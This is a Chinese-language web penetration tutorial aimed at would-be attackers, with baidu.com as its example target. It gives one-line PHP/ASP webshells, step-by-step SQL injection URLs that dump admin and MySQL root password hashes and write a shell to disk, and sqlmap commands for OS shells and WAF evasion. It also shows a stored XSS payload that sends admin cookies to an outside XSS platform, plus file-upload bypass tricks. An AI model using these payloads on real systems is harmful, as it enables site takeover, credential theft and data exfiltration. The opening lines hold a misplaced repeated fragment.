渗透总结——如何成为一个合格的脚本小子
当然,成熟的cms已经内置了管理后台和编辑器,如果是自己写的cms,后台往往是https//www.baidu.com/admin/,而常见的编辑器有FCKeditor,UEditor,CKEditor,eWebEditor等。手工使用一句话很麻烦,并且由于php魔术引号的影响,自己构造能绕过魔术引号的payload也比较麻烦,所以通常我们使用一些客户端来连接一句话,最常用的就是菜刀(choppe
一,web基础知识
现在流行的渗透一般指对服务器的渗透,其中web服务器是重灾区,因为web服务器对人的交互是最复杂的,越复杂漏洞也越多,所以比较容易作为切入口。入侵到web服务器之后,再以此为跳板,入侵其他服务器,个人电脑,路由器,摄像头等其他电子设备是较为常见的做法。
我们常见的一个网站是这样的http://www.baidu.com
其中http代表着传输协议,https则代表着传输过程中进行了ssl加密,防止了中间人攻击。
www.baidu.com代表着域名,ping www.baidu.com,则可以解析出来一个ip(14.215.177.38)
www.baidu.com的域名一般是绑定在了这个ip的某个端口上,假如是80端口,则访问http://14.215.177.38和访问http://www.baidu.com是一样的。假如是8080端口,则需要访问http://14.215.177.38:8080
(PS:这里ping百度却出现www.a.shifen.com涉及到cdn的问题,即百度有着防止恶意攻击的云加速服务器。如果想渗透www.baidu.com,攻击cdn是没有意义的,所以往往需要找到真实ip)
这里的ip是公网ip,一个公网ip往往代表着一台公网服务器(如果一台服务器有多个网卡,他可能有多个公网ip。如果使用NAT技术,一个公网ip的不同端口也可能映射到多台服务器),而这台服务器往往不止只通过这一个http的80端口与外界通信,常见的其他端口如下:
21(ftp的默认端口,ftp常用来更新web,可能支持匿名访问)
22(ssh的默认端口,ssh是linux的远程管理端口)
23(telnet的默认端口,远程管理端口,非PC设备比较常见)
443(https的默认端口)
445(SMB共享的默认端口,内网中很常见)
1433(mssql的默认端口,可能可以远程登录数据库)
3306(mysql的默认端口,可能可以远程登录数据库)
3389(windows的远程桌面默认端口)
8000,8088,8888(常见的其他http端口)
其中21,22,23,1433,3306,3389都可能被用于暴力破解用户名和密码,其中22有root,1433有sa,3306有root,3389有administrator的默认高权限用户名,比较容易利用。
如果没有收集目标的已知密码,没有目标的信息来生成针对性字典,暴破基本上就是在尝试类似123456的常用密码,所以往往无功而返。
但通过对端口的扫描,我们可以发现更多的http端口,即发现更多的web,有些没有和域名绑定,而是隐藏在ip下的web因为不惹人注意,所以往往也比较脆弱。
端口扫描工具有非常多,但最强大的还是nmap,这里我们直接用kali系统中的nmap,如何安装kali不再赘述。nmap也有非常多的使用技巧,甚至也可以拿来爆破,但这里我们就用最基础的使用方式。
nmap -v -sV -p 21,22,23,80 192.168.11.1 --open
-v表示显示细节,-sV表示探测端口使用的软件版本,-p表示指定扫描的端口,如果指定1-65535将挨个扫描全部端口,如果不输入-p将会扫描1000个常见端口,--open只显示开放的端口。
nmap -v -sV -Pn 192.168.11.0/24 --open
-Pn表示不探测主机是否存活,192.168.11.0/24表示扫描整个C段,即从192.168.11.1到192.168.11.255。
了解了端口,我们再来了解web的组成。进入http://www.baidu.com,会看到百度的logo,右键其属性,可以看到这样一个链接
https://www.baidu.com/img/bd_logo1.png?where=super
这个链接点进去,自然就是百度的图片了,这种看似很简单的事情,其实代表了web的本质。web其实就是个文件夹,里面装满了各种html,css,js,png的文件,在web中浏览不同的页面,也其实就相当于在文件夹中浏览不同的文件。
假如www.baidu.com的根目录在服务器中的D:\web\baidu中,那么这张百度的logo的路径就一定是D:\web\baidu\img\bd_logo1.png
而D:\web\baidu\img\bd_logo1.png被我们称之为绝对路径,如果渗透过程中想通过数据库向web中写入webshell,绝对路径就是必须要知道的。
当然,html,css,js,png这些都是静态文件,与之相对的,则是php,asp,aspx,jsp的动态脚本。
动态脚本不同于静态文件之处在于,动态脚本是通过软件在运行的,你每浏览一次http://www.baidu.com/index.php,index.php就会运行一次。因此,动态脚本不单单可以用来做web,你如果想写一个内容为123的txt文件,用动态脚本也是可以很轻松的做到的,而静态文件就无法做到。
我们在搭建网站时,为了充分利用动态脚本,可以通过给index.php加上不同的参数,比如http://www.baidu.com/index.php?id=1来展示不同的内容。
那么?id=1又代表着什么呢?其实就是查询数据库某表中的id为1的内容,再把这些内容展示在web上。
这样我们就能很轻松的理解一个链接
http://www.baidu.com/index.php?id=1到底是什么意思了。
1,http是传输协议
2,www.baidu.com是域名,可以替换成14.215.177.38:80
3,index.php是服务器上的名为index.php的脚本文件
4,?id=1是查询数据库中某个表中的id的值1的内容。
在渗透之前,我们需要获取关于web的信息,主要确认服务器系统,容器,脚本语言,数据库。
一个web服务器,要么是windows sever系统,要么是linux系统。
windows sever有2003,2008,2012,2016四个版本,分别对应着个人系统xp,win7,win8,win10。
Linux常见的服务器发行版有centos、ubuntu和debian。
一个系统使用的是不同容器
windows常用的是iis,apache,tomcat。
Linux常用的是apache,nginx,tomcat。
iis,一般使用asp,aspx,php三种脚本语言,aspx是asp的升级版,支持aspx的一定支持asp。iis版本是和windows sever版本相关的,2003,2008,2012,2016分别对应iis6.0,iis7.0/7.5,iis8.0/8.5,iis10.0。
apache,一般使用php脚本语言。
Nginx,一般使用php脚本语言。
Tomcat,一般使用jsp脚本语言。
如何分辨一个web使用的是windows服务器还是linux服务器呢?只需要判断web上的文件是否区分了大小写即可。
比如https://www.baidu.com/img/bd_logo1.PnG
能正常访问说明是windows,不能则是linux。
如何分辨容器呢?可以综合它支持的脚本语言和系统来粗略判断,比如使用asp的一定是IIS,也可以通过浏览一个web上不存在的文件强制404报错,通过报错页面来判断。
IIS 6.0报错
IIS 8.5报错
IIS7.5报错
apache报错
nginx报错
tomcat报错
从页面报错来获取有用信息,也是渗透中非常重要的思路,因此,很多网站为了安全都自定义了404页面。
脚本语言的确定就更容易了,只需要遍历目录,通过动态脚本的后缀即可确定脚本语言类型。即asp,aspx,php,jsp的区别。而数据库一般是跟脚本语言挂钩的,一般来说,asp使用access,aspx使用mssql,php使用mysql,jsp使用oracle。
二,漏洞利用和webshell
由于容器+脚本语言+数据库,三者需要搭配起来用,个人分别搭建和安装非常不方便,所以出现了能够一键搭建的集成环境包,比较常见的是xampp,phpstudy,wampserver,如果能判断出web服务器使用的是集成环境包(通常是通过数据库根目录判断),有助于我们找到绝对路径或者敏感文件。
自我编写脚本文件来构成一个好用安全的web,难度也非常大,所以大部分人在搭建小型web时,会选择使用已有的web框架,以其为基础进行改编,即cms。比较常见的cms有dedecms(织梦),EmpireCMS(帝国),ThinkPHP,WordPress等等。
同理,一个web需要涉及对页面的更新和编辑,如果每次更新都要修改静态动态文件,都要直连数据库进行操作,也非常的不方便。所以web通常会有管理后台,后台中又会有编辑器。当然,成熟的cms已经内置了管理后台和编辑器,如果是自己写的cms,后台往往是https//www.baidu.com/admin/,而常见的编辑器有FCKeditor,UEditor,CKEditor,eWebEditor等。
如果这些cms和编辑器使用的是较旧的版本,就可能有着各种各样的漏洞,即使是最新版,也可能存在未披露的漏洞(0day)。就算没有漏洞,由于源代码的公开,也可以审计,也可以很快的了解整个网站的构造,找出后台地址,数据库名,初始用户名等信息。
已经披露且较新,较容易利用的的cms和编辑器漏洞如下。
ECShop:https://xz.aliyun.com/t/2689
UEditor:https://www.freebuf.com/vuls/181814.html
Dede:https://blog.csdn.net/fengxuan888/article/details/43309457?utm_source=blogxgwz3
Thinkphp:https://www.freebuf.com/vuls/194127.html
FCKeditor:https://www.t00ls.net/articles-21269.html
这些漏洞要么是任意代码执行,要么是任意格式文件写入。这里任意代码执行指的是任意php代码,如果能执行phpinfo();,那么就可以执行exec();或者system();来执行cmd命令,同样可以实现任意格式文件写入。
写入的自然就是一句话木马(webshell),最常见的一句话木马如下(分别是asp,aspx,php,密码均为x,jsp一句话木马较长略过)
<%eval request ("x")%>
<%@ LANGUAGE=Jscript %><%eval(Request("x"),"unsafe")%>
<?php @eval($_POST['x']) ?>
这些一句话木马原理都是一样的,通过传递post参数,来实现任意代码执行
比如如果存在http://www.baidu.com/1.php,1.php内容为<?php @eval($_GET['x']) ?>
我在浏览器中输入
http://www.baidu.com/1.php?x=phpinfo();
如果输入
http://www.baidu.com/1.php?x=exec('whoami',$out);print_r($out);
这就是一句话木马的原理。当然,这里有一个get和post两种请求方式的区别,实战中往往我们不使用get一句话,而是用post一句话。
手工使用一句话很麻烦,并且由于php魔术引号的影响,自己构造能绕过魔术引号的payload也比较麻烦,所以通常我们使用一些客户端来连接一句话,最常用的就是菜刀(chopper.exe),菜刀的用法非常简单,填入一句话地址和密码即可,菜刀会自动判断脚本语言和编码,也可以自行修改。
菜刀的文件管理,cmd,数据库功能都非常好用。
但注意,现在的菜刀大部分都是有后门的,其中拥有db.tmp文件的菜刀100%有后门,相对安全的是20100928和20160620的原版,其MD5值为:
C05D44DBE353525F492208D891B53875
AC86066FFD58779F4C0DB5030574B0CB
除了菜刀之外,还有XISE,蚁剑,冰蝎等类似的一句话客户端。
通过菜刀连接上一句话木马,就可以对web服务器做许多操作了,但为了方便我们会继续上传小马和大马。小马即是功能更加简单更加集中化的大马,一般用来辅助大马,现在已经很少使用。
常见的asp,aspx,php大马分别是这样的。
https://github.com/search?q=webshell
大马的功能非常多,可以完成对网站乃至整个服务器的管理,到这一步基本完成了对网站的深入渗透,获取了等同于服务器容器的权限。
三,寻找后台
在实战中,往往不可能有着cms的通用漏洞来实现任意代码执行或者任意文件写入,更多的是通过登录后台,找到上传图片或者其他文件的页面,上传webshell。
想要登录后台,首先得找到后台地址,其次得知道管理员账户密码。
关于如何找到后台地址,基本无外乎如下思路。
1, 使用字典进行扫描
即不断的尝试访问/admin/,/admin.php,/system/等常见目录。常见的目录扫描工具有御剑和dirbuster。这里工具是其次的,主要是字典,其中针对性字典也很重要,比如www.baidu.com的后台可能是adminbaidu或者baiduadmin。
2,使用爬虫工具遍历目录
即将整个网站所有能点的链接全部点一次。网站管理员有可能将后台地址超链接在某个角落,又或者网站某个图片文件的相对路径中存在后台地址。
比如http://www.baidu.com/houtai/img/20190215/logo.png。常用的爬虫工具是AWVS。
3,检查网站的robots.txt文件
robots.txt是搜索引擎和网站的君子协定,搜索引擎选择不去爬取robots.txt里的目录,于是部分管理员将后台地址也填入robots.txt。
4,存储型XSS
XSS是web的重要漏洞,一旦利用成功,会获取管理员的cookie和后台地址。
5,Cms的固定后台地址
织梦的为/dede
帝国的为/e/admin
phpcms的为/index.php?m=admin&c=index&a=login&pc_hash=
WordPress为/wp-login.php
6,google hacker
使用site:baidu.com inurl:login intext:管理|后台等高级搜索语法来寻找后台地址
7,IIS的短文件名漏洞
利用windows文件和文件夹可以用admini~1代替administrator的特性,对网站目录进行暴力拆解,来获取脚本文件和目录的前6位。
利用方法简单直接python iis.py http://x.com即可。
https://github.com/lijiejie/IIS_shortname_Scanner
四,暴力破解
网站后台地址获取到了,如何获取管理员账户密码呢?如果没有验证码和登录次数防护,最简单粗暴的就是暴力破解,当然在暴力破解之前,一般会先尝试admin/admin,admin/123456,admin/admin888等弱密码。暴力破解成功的概率同样取决于字典,针对性字典是破解成功的关键。在暴力破解之前,需要尽量搜集网站和网站管理员的相关信息,比如QQ,生日,管理员姓名等等。
暴力破解工具非常多,抓包工具burpsuite(注:burpsuite是java软件,所以需要提前安装java)和爬虫工具AWVS都能做到,这里就演示一下。
我们需要先抓取登录时的数据包,首先打开burpsuite,在Proxy-Options中设置的默认代理端口为8080
浏览器先打开到登录界面,填入账户密码为admin/admin,修改代理为127.0.0.1:8080,然后登录。
成功的话,web登录会卡住不动,提示正在登录中,而burp这里proxy-intercept会显示数据包。
这里有可能因为web的实时交互,会抓到其他无关的包,可以一直点Forward将包释放掉,一直到看到我们想要的数据包。
再将数据包全部复制下来,粘贴至AWVS中的HTTP Fuzzer中
然后Add Generator——File Generator
这样会多出来一条Gen_1,选中Gen_1,在下方的Filename中选中我们的字典
然后看数据包的log=admin&pwd=admin,选中后面一个,再点击Insert into Request
这样数据包中本来应该传递admin的密码,就被替换成了字典中的多条密码。最后点击start,即可完成暴力破解。暴力破解的结果,我们是从返回来的包的大小来判断的,即Response size。
暴力破解很多时候都是无功而返,所以我们需要学习更加高级的获取密码的方式,那就是SQL注入和XSS。
五,SQL注入
SQL注入是指,在web有类似http://www.baidu.com/index.php?id=1的页面中,我们在id=1后面构造对数据库的操作语句,形成注入。Access,mssql,mysql,oracle以及其他数据库均有注入漏洞,区别在于因为数据库操作语句的不同,所需要注入的payload也不同。
数据库有着统一的规格,它们都有库-表-列-值。
库(database)是连接数据库就要选择的,多个网站可以共用一台服务器上数据库服务,但一个网站一般使用一个库。
表(table)代表着库里面的一个项目,比如登录用的用户名密码,一定存储在一个表里,而新闻页的内容,储存在另外一个表里。
列(column)和值,则相当于一个表格里的内容,如下图,是表名为class的内容
id siteid cid name2 addtime isshow order id language这些就是列,而下面其他内容就是值
那么,在数据库中,我先用账户web密码web默认库web连接数据库,然后查询
select * from class where id=1
则会显示
如果查询
select * from class where id=2
则会显示
那么,我们明白了http://www.baidu.com/index.php?id=1的原理,其实就是在index.php的脚本语言中查询某个表里,列名为id,值为1的其他所有其他列的值,再通俗一点讲,就是将表格中排行为1的那一行展示出来。当然,后端的sql代码我们是看不到的,只能看到查询结果值,看不到表名和列名。
如果我们不按套路出牌,明明id只有1和2,我们输入1',会怎么样呢?
http://www.baidu.com/index.php?id=1'
要么出现报错界面,要么数据库查询不到1’而展示空白页面,我们继续,分别输入。
http://www.baidu.com/index.php?id=1 and 1=1
http://www.baidu.com/index.php?id=1 and 1=2
此时后端代码为
select * from class where id=1 and 1=1
select * from class where id=1 and 1=2
and代表两个条件都需要满足,1=1是正确的,所以前者会出现正常页面,1=2是错误的,所以后者会像1’一样报错或者显示空白页面。
这种情况就会有注入漏洞,当然,实战中往往因为过滤,waf,安全软件的原因,直接404或者全部显示正常页面。
检测出有sql注入漏洞之后,就可以使用payload进行注入,一步步暴库,暴表,暴列,暴值。不同的数据库payload不同,这里只举例mysql的注入方式。
用order by n来确定列数。
http://www.baidu.com/index.php?id=1 order by 1
页面显示正常,有的时候需要用--来闭合sql语句
http://www.baidu.com/index.php?id=1 order by 1 --
页面显示正常
http://www.baidu.com/index.php?id=1 order by 2 --
页面显示正常
http://www.baidu.com/index.php?id=1 order by 3 --
页面显示正常
http://www.baidu.com/index.php?id=1 order by 4 --
页面显示错误/空白
这样就确定了此页面有3个列,实战的时候可能有几十个或者上百个列,这样测试就会过于繁琐。可以先用order by 100直接报错,然后减一半order by 50,再减一半order by 25等等
确定了列数,再使用联合查询union select。
http://www.baidu.com/index.php?id=1 union select 1,2,3 --
此时有可能会优先显示id=1的内容,所以可以给id一个不存在的值
http://www.baidu.com/index.php?id=-1 union select 1,2,3 --
1和2显示在了页面上,我们把1和2替换成current_user()和database(),暴出当前连接的用户名和当前数据库名。
http://www.baidu.com/index.php?id=-1 union select current_user(),database(),3--
用户为root,库为dbtopgloria59。其他常用函数有
system_user()系统用户名
version() MYSQL数据库版本
@@datadir读取数据库路径
@@basedir MYSQL安装路径
@@version_compile_os操作系统
这里ROOT@%表示数据库允许远程连接,如果是ROOT@LOCALHOST则表示只能本地连接。然后暴出所有表名,其原理是mysql的系统库information_schema中存储着其他所有库的表名和列名。
http://www.baidu.com/index.php?id=-1 union select group_concat(table_name),2,3 from information_schema.tables where table_schema='dbtopgloria59'--
此时有可能因为php魔术引号的问题报错,此时可以将库名,替换成database(),或者将dbtopgloria59转码为hex编码或者ASCII编码。转码很多工具都能做到,包括上面提到过的扫描目录的御剑。
http://www.baidu.com/index.php?id=-1 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database() --
http://www.baidu.com/index.php?id=-1 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=0x6462746F70676C6F7269613539 --
http://www.baidu.com/index.php?id=-1 union select group_concat(table_name),2,3 from information_schema.tableswhere table_schema=char(100, 98, 116, 111, 112, 103, 108, 111, 114, 105, 97, 53, 57) --
我们想要的管理员账户密码表名是lk_admin_user,找管理员表名的经验基本是admin,user,manager,member相关。再爆lk_admin_user的列名。
http://www.baidu.com/index.php?id=-1 union select group_concat(column_name),2,3 from information_schema.columns where table_name=0x6C6B5F61646D696E5F75736572 --
想要的列名是USER_NAME和PASSWORD。再暴出这两个列名的值。
http://www.baidu.com/index.php?id=-1 union select group_concat(USER_NAME),group_concat(PASSWORD),3 fromlk_admin_user --
有时候我们无法使用group_concat()来一次性获取全部值,需要使用limit来一条一条获取值。
http://www.baidu.com/index.php?id=-1 union select USER_NAME,PASSWORD,3 from lk_admin_user limit 0,1 --
这样管理员的账户和密码就被SQL注入获取到了,但是密码往往不是明文,而是hash加密,需要拿去md5破解网站上破解,如果密码足够复杂,或者加了盐(salt),也可能破解不出来。
https://www.cmd5.com/
https://www.somd5.com/
回过头来,我们注意到网站使用的数据库用户是root,这代表着mysql的最高权限,可以查询所有的库,如果是一般用户则只能查询当前库。同时root用户还可能读取文件和写入文件。
列出所有库的语句为。
http://www.baidu.com/index.php?id=-1 union select group_concat(schema_name),2,3 from information_schema.schemata --
上面我们查询当前库的表名的时候是指定了数据库的,查询列并没有,默认使用的当前数据库,跨库查询列的语句为。
http://www.baidu.com/index.php?id=-1 union select group_concat(column_name),2,3 from information_schema.columns where table_name=0x75736572 and table_schema=0x6D7973716C --
上图查询的是mysql库的root表,是存储着root密码的地方,继续查询USER和PASSWORD两个列的值。
http://www.baidu.com/index.php?id=-1 union select group_concat(USER),group_concat(PASSWORD),3 from mysql.user --
这样我们就知道了ROOT账户的密码hash,同样可以拿去破解,如果root允许远程的话,可以用Navicat for MySQL进行远程操作。
ROOT账户还有着读写文件的权限,但需要知道网站的绝对路径。
http://www.baidu.com/index.php?id=-1 union select 1,load_file('/var/www/html/index.php'),3--
http://www.baidu.com/index.php?id=-1 union select 1,'<?phpphpinfo();?>',3 into outfile '/var/www/html/shell.php'--
如果是windows系统,路径则需要写成D:\\www\\html\\shell.php这种形式。并且新的mysql版本往往有着--secure-file-priv的文件写入保护,一般不能直接写入。
上述内容只是最基础的联合注入,还有报错型和布尔型,以及其他数据库的注入方式。其思路都是大致相同,不同的是sql语句不同,还有的时候需要绕过网站的正则防护,各种waf和安全狗等等,这些都需要去找资料学习。
需要注意的是access数据库比较简单,没有库名,也无法暴出表名列名,只能暴力猜测,用admin admin_user manager等等不停的去试。
而mssql,最高权限是sa账户,虽然无法导出文件,但可以直接利用 xp_cmdshell函数运行cmd命令。然后echo xxxxxx > D:\www\1.aspx获得webshell。其对网站的绝对路径要求并没有那么大,因为可以通过cmd的for或者dir命令去寻找网站文件。如果mssql权限足够大,甚至可以直接添加管理员账户,进行3389远程连接。
有的时候即使拥有root或者sa权限,也无法直接导出webshell,这是因为库站分离的原因。
手工注入优点是灵活,缺点就是繁琐,特别是需要暴力拆解时手工注入就太麻烦了,所以还要学会使用注入工具。最出名且最好用的工具无疑是sqlmap。
sqlmap是python2工具,所以在安装sqlmap之前需要安装python2并配置好环境,过程略。
sqlmap最基础的使用方法如下。
先cd到sqlmap目录下,再运行sqlmap.py
cd /d C:\python2\sqlmap
python sqlmap.py -u "http://www.baidu.com/index.php?id=1"
前面可能会出现2个有关检测waf的提示,选y即可,还可能出现一个是否继续的提示,选C即可。如果sqlmap出现大片红字,即被waf或者安全软件禁止了ip访问。
sqlmap检测出数据库类型,会询问是否检查其他数据库,两个都选n即可。
sqlmap已经确认此处存在注入点,询问是否在其他地方注入,选N即可。
此时它检测出了三种注入方式都存在,布尔(boolean-based),报错(error),时间(time-based)。并且检查出了容器是apache,mysql版本大于5.0
并且将日志保存在如下路径
C:\Users\administrator\.sqlmap\output\www.baidu.com
判断是否是最高权限
python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --is-dba
True代表是最高权限,且读出来当前账户为root,那么我们尝试写入shell
python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --os-shell
询问脚本语言,选4
是否想办法报错让路径泄露,选Y
确定绝对路径,1是sqlmap自带的字典,2是手动输入绝对路径
如果绝对路径正确,且没有文件保护,sqlmap会向绝对路径写入两个随机名称的webshell,一个类似一句话,另一个是类似小马的上传木马。并且sqlmap会自动连接一句话,可以执行cmd命令。
在有root或者sa权限的前提下,mysql的--os-shell必须要绝对路径上传木马,而mssql的--os-shell则只需要xp_cmdshell没被禁用即可使用。
查询全部库名
python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --dbs
查询当前库名
python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --current-db
查询所有表名
python sqlmap.py -u "http://www.baidu.com/index.php?id=1" -D dbtopgloria59 --tables
查询lk_admin_user的列名
python sqlmap.py -u "http://www.baidu.com/index.php?id=1" -D dbtopgloria59 -T lk_admin_user --columns
查询user_name和password的值
python sqlmap.py -u "http://www.baidu.com/index.php?id=1" -D dbtopgloria59 -T lk_admin_user -C "user_name,passsword" --dump
这里是询问是否要破解hash,sqlmap的破解很简单只能碰撞出简单hash,所以一般不浪费时间去跑,全部选N即可。到这一步,我们就完成了注入获取管理员密码的目的。
sqlmap还有很多其他用法,这里介绍其他常用用法。
POST注入,我们需要先用burp抓到POST数据包,然后复制进1.txt。
Python sqlmap.py -r "D:\1.txt"
指定参数注入,常见于伪静态网站,同理,也可以在POST数据包里加入星号
Python sqlmap.py -u "http://www.baidu.com/index.php?id=1*&cid=166"
Cookie注入,常见于有js防护的asp网站
Python sqlmap.py -u "http://www.baidu.com/index.asp" --cookie "id=27" --level 2
更高等级的注入,最高5
Python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --level 5
Root或者sa权限时,读取数据库用户密码
Python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --password
注入时携带cookie,常见于已经登录才能看得到的页面的注入
Python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --cookie=" PHPSESSID=i1dd3i7j04s7q7hn5ma8ip61c5"
代理注入,常见于碰见阿里云服务器的waf,需要挂阿里云代理
Python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --proxy=127.0.0.1:8080
每条数据只下载一条,常见于无法分辨管理员的表,而脱库又太浪费时间。
Python sqlmap.py -u "http://www.baidu.com/index.php?id=1"--dump --stop=1
读文件,需要root权限和绝对路径
Python sqlmap.py -u "http://www.baidu.com/index.php?id=1"--file-read=D:\www\index.php
写文件,需要root权限和绝对路径,--file-write为本地文件路径,--file-dest为web绝对路径。有时候只有固定目录有写的权限,或者只有固定目录有执行脚本的权限
Python sqlmap.py -u "http://www.baidu.com/index.php?id=1"--file-write=D:\1.php --file-dest=D:\www\index.php
sql交互shell
Python sqlmap.py -u "http://www.baidu.com/index.php?id=1"--sql-shell
使用sqlmap自带脚本绕过waf,更多脚本在tamper文件夹中看
Python sqlmap.py -u "http://www.baidu.com/index.php?id=1"--tamper space2morehash.py
再来讲讲绝对路径的获取方法。
1, IIS7.0以上,如果没有修改404页面,只要浏览web任意不存在的文件,都会直接暴出绝对路径。同理,thinkphp也有这个性质。
2, 在id=1的注入点,使用各种不支持的字符,比如id=1’ id=? id=-1 id=\ id=/ 都有可能暴出绝对路径。
3, Web可能有残留的phpinfo,或者探针文件,或者不正确的脚本文件,又或者管理后台的首页。这些都有可能泄露绝对路径,需要用御剑等扫描出来。
4, Google hacker,使用site:baidu.com inurl:php warning高级搜索语法,找被搜索引擎收录的路径泄露。
5, 如果有root读取文件的权限,或者任意文件读取漏洞,可以读取容器的配置文件,或者集成环境的固定web目录,判断集成环境,可以通过mysql的根目录判断,前面注入时说到的@@datadir。
常见配置文件。
C:\Windows\system32\inetsrv\metabase.xml
C:\Windows\System32\inetsrv\config\applicationHost.config
C:\xampp\apache\conf\httpd.conf
/var/www/conf/httpd.conf
常见集成环境默认目录,后面往往还有以域名命名的目录,比如
C:\www\baidu\
C:\Inetpub\wwwroot\
C:\xampp\htdocs\
D:\phpStudy\WWW\
/home/wwwroot/
/www/users/
6, Windows服务器上传aux文件或者新建aux文件夹,因为不允许这种文件存在而报错泄露绝对路径。
六,XSS
实战中SQL注入往往没有root和sa权限,但即使user权限也能让我们获取管理员密码来登录后台。除此之外,XSS也是登录后台的办法。
XSS分为反射型XSS,储存型XSS,DOM型XSS。最有用的是储存型,但我们往往先用反射型XSS来确定payload,再发送储存型XSS。
存在反射型XSS的地方,往往出现在可以反馈我们输入字符的地方,比如搜索框和mysql报错的注入点。如下图在id=4后面加了5个单引号,被反馈出来了,注意有魔术引号。
http://www.baidu.com/index.php?id=4'''''
那么我们把5个单引号换成<script>alert(123)</script>触发弹窗(注意,很多浏览器会拦截XSS,需要更换火狐浏览器)
http://www.baidu.com/index.php?id=4<script>alert(123)</script>
这就是一个反射型xss,如果我们加入一个图片,则可以显示到web中
http://www.baidu.com/index.php?id=4<img src=https://www.baidu.com/img/bd_logo1.png>
我们加入一个可以传递数据包的js,即完成了对cookie的盗取
http://www.baidu.com/index.php?id=4<script src=https://xsspt.com/aaaaaaa></script>
这个https://xsspt.com/aaaaaaa的js地址,即是你的XSS平台,可以自己搭建,也可以在xsspt.com注册。创建js的过程很简单,创建-项目名称-勾选默认模块,然后复制下方的https://xsspt.com/aaaaaa即可。
创建好js平台,再浏览
http://www.baidu.com/index.php?id=4<script src=https://xsspt.com/aaaaaaa></script>
即可在平台中收到带cookie的数据包
这便是一次完整的反射型XSS利用。但反射型XSS是很鸡肋的,因为构造出来的payload网址必须要管理员去点击才行,你自己点击只是获取到你自己的cookie并没有用。而很难用这样扎眼的payload骗到管理员点击,所以需要用到储存型XSS。
储存型XSS常出现在留言板中,在留言板中填入<script src=https://xsspt.com/aaa></script>然后发送出去,管理员在后台看到了留言,就会将自己的cookie和后台地址发送到我们的xss平台中。
Cookie通常都是有时间限制的,所以我们需要经常去查看XSS平台,获取到了cookie之后,可以按F12-存储来编辑自己的cookie,再进入管理员后台即可相当于管理员登录。
注意最右边的httponly,如果网站开启了httponly,获取到的cookie就没用了,httponly是防护XSS的有效手段。
XSS和SQL注入都是非常出名且非常老的漏洞,大部分网站都会对其有正则防护和过滤,各种防火墙,服务器安全软件也会对其拦截。所以需要用到各种各样的变形,转码,来绕过,这就需要刻苦的学习。
常见的服务器安全防护有,阿里云,玄武盾,WTS-WAF,安全狗,D盾,云锁。
七,文件上传
进入管理员后台之后,继续要做的就是找上传点上传webshell,通常都会有管理员自己写的上传点,和cms内置的编辑器上传。后者在介绍cms漏洞的时候已经介绍过了,这种除非有已披露的漏洞否则很难突破,而前者就相对好突破。除此之外,还有一些CMS因为特性可以在配置文件/数据库备份/日志中插入一句话,统称后台getshell漏洞。
上传webshell的本质是,上传一个文件,让容器对其解析成脚本文件,即容器对其解析成asp,aspx,php,jsp。将webshell的后缀改成jpg上传是没有太大意义的。
这里就不得不提到关于容器的解析漏洞。
IIS 6.0,对于asa,cdx,cer文件,都会解析成asp。
对于1.asp;.jpg文件,会解析成asp。
对于1.asp/1.jpg文件,会解析成asp。
这代表着在IIS 6.0环境中,我们可以用asa,cdx,cer来突破单纯的asp黑名单,也可以上传名为1.asp;.jpg的webshell,如果可以新建文件夹,新建一个1.asp文件夹,然后在里面上传一个1.jpg的webshell,也可以成功解析
IIS 7.0/7.5和nginx<8.03,在1.jpg后面加上/.php,会解析成php
nginx<8.03,在1.jpg后面加上%00.php,也会解析成php
这其实是php的漏洞,是cgi错误配置的原因。这代表着我们只要上传一个后缀为jpg的webshell,即可getshell,这种漏洞太容易利用已经不太常见。
Apache,会将1.php.bak解析为php。原理是从左到右解析。
会将php3,php4,php5,phtml,pht解析为php
存在.htaccess的目录,.htaccess可用以下代码让该目录的jpg文件解析成php
AddType application/x-httpd-php .jpg
实战中,还需要抓包来修改上传的文件名来突破,我们上传一个后缀改了的webshell。burp抓包过程略,先把数据包转移到Repeater方便多次发包。
在repeater中修改数据包,1.jpg改为1.php,然后点Go。这样简单的改包即可突破js防护和Content-Type验证。
右边会返回路径,有时候不返回就得自己去web的后台或者前台找。
还可以利用windows不允许文件出现?:<>等符号,将1.jpg改为1.jpg?.php或jpg:.php。或者在1.php后面加英文点和空格来突破上传。
也有可能存在%00截断漏洞,先将1.jpg改为1.jpg%00.php,然后选中%00右键Convert selection-URL-URL-decode,将%00变成一个小方块。
不单单可以修改上传文件名。有的时候,在抓到的数据包里,可以看到可控的上传目录,或者自动改名的时间戳,我们可以尝试修改这些数据。
还有的时候,web服务器会验证上传文件的合法性,可以在webshell前面加上GIF89a等文件头,或者直接使用图片马。
制作图片马的cmd命令为
Copy D:\1.jpg/b+D:\1.php D:\2.jpg
还有asp的旧网站,由于备份文件后缀可控,往往有着数据库备份getshell的漏洞。即随便在任意地方插入<%eval request ("x")%>,然后备份整个数据库为1.asp即可。
更多的上传漏洞最近出了一个非常好用的靶场。
https://github.com/c0ny1/upload-labs/releases
https://xz.aliyun.com/t/2435
八,提权和密码抓取
如果一个网站非常严密,我们可以尝试子域名和旁站,拿下一个web服务器上的其他网站,然后提权进入目标网站。
子域名指的是www.baidu.com拥有tieba.baidu.com zhidao.baidu.com等子域名,这种子域名有一定规律,可以用各种扫描器扫出来,也可以用site:baidu.com来搜集。旁站则是爬虫网站记录的历史解析,百度旁站查询即可。最后不要忘记扫描网站的ip的其他端口。
获取了webshell,便可以盗取密码。
Mysql的明文密码,会存在某个php文件中,如果是类似dede的cms,有着固定的路径/data/common.inc.php
如果是自建网站或者冷门cms,储存着mysql密码的php文件路径,通常也会在index.php里有关联。
如果实在没有关联,则寻找和inc,config,db,data,include等有关的文件夹或者php。
Mysql的hash,还可以在mysql\data\mysql目录找到user.frm,user.MYD,user.MYI三个文件,hash储存在user.MYD中。可以用UltraEdit打开查看hash,但往往看不完整。
可以下载这三个文件,在本地的mysql新建一个test库,然后放入mysql\data\test,然后本地以root账户连接查询test库user表即可。
Mssql的明文密码,通常储存在web.config中。不过有的时候用的是access,只有一个mdb文件。web.config有时候还会有smtp的邮箱密码和ftp密码。
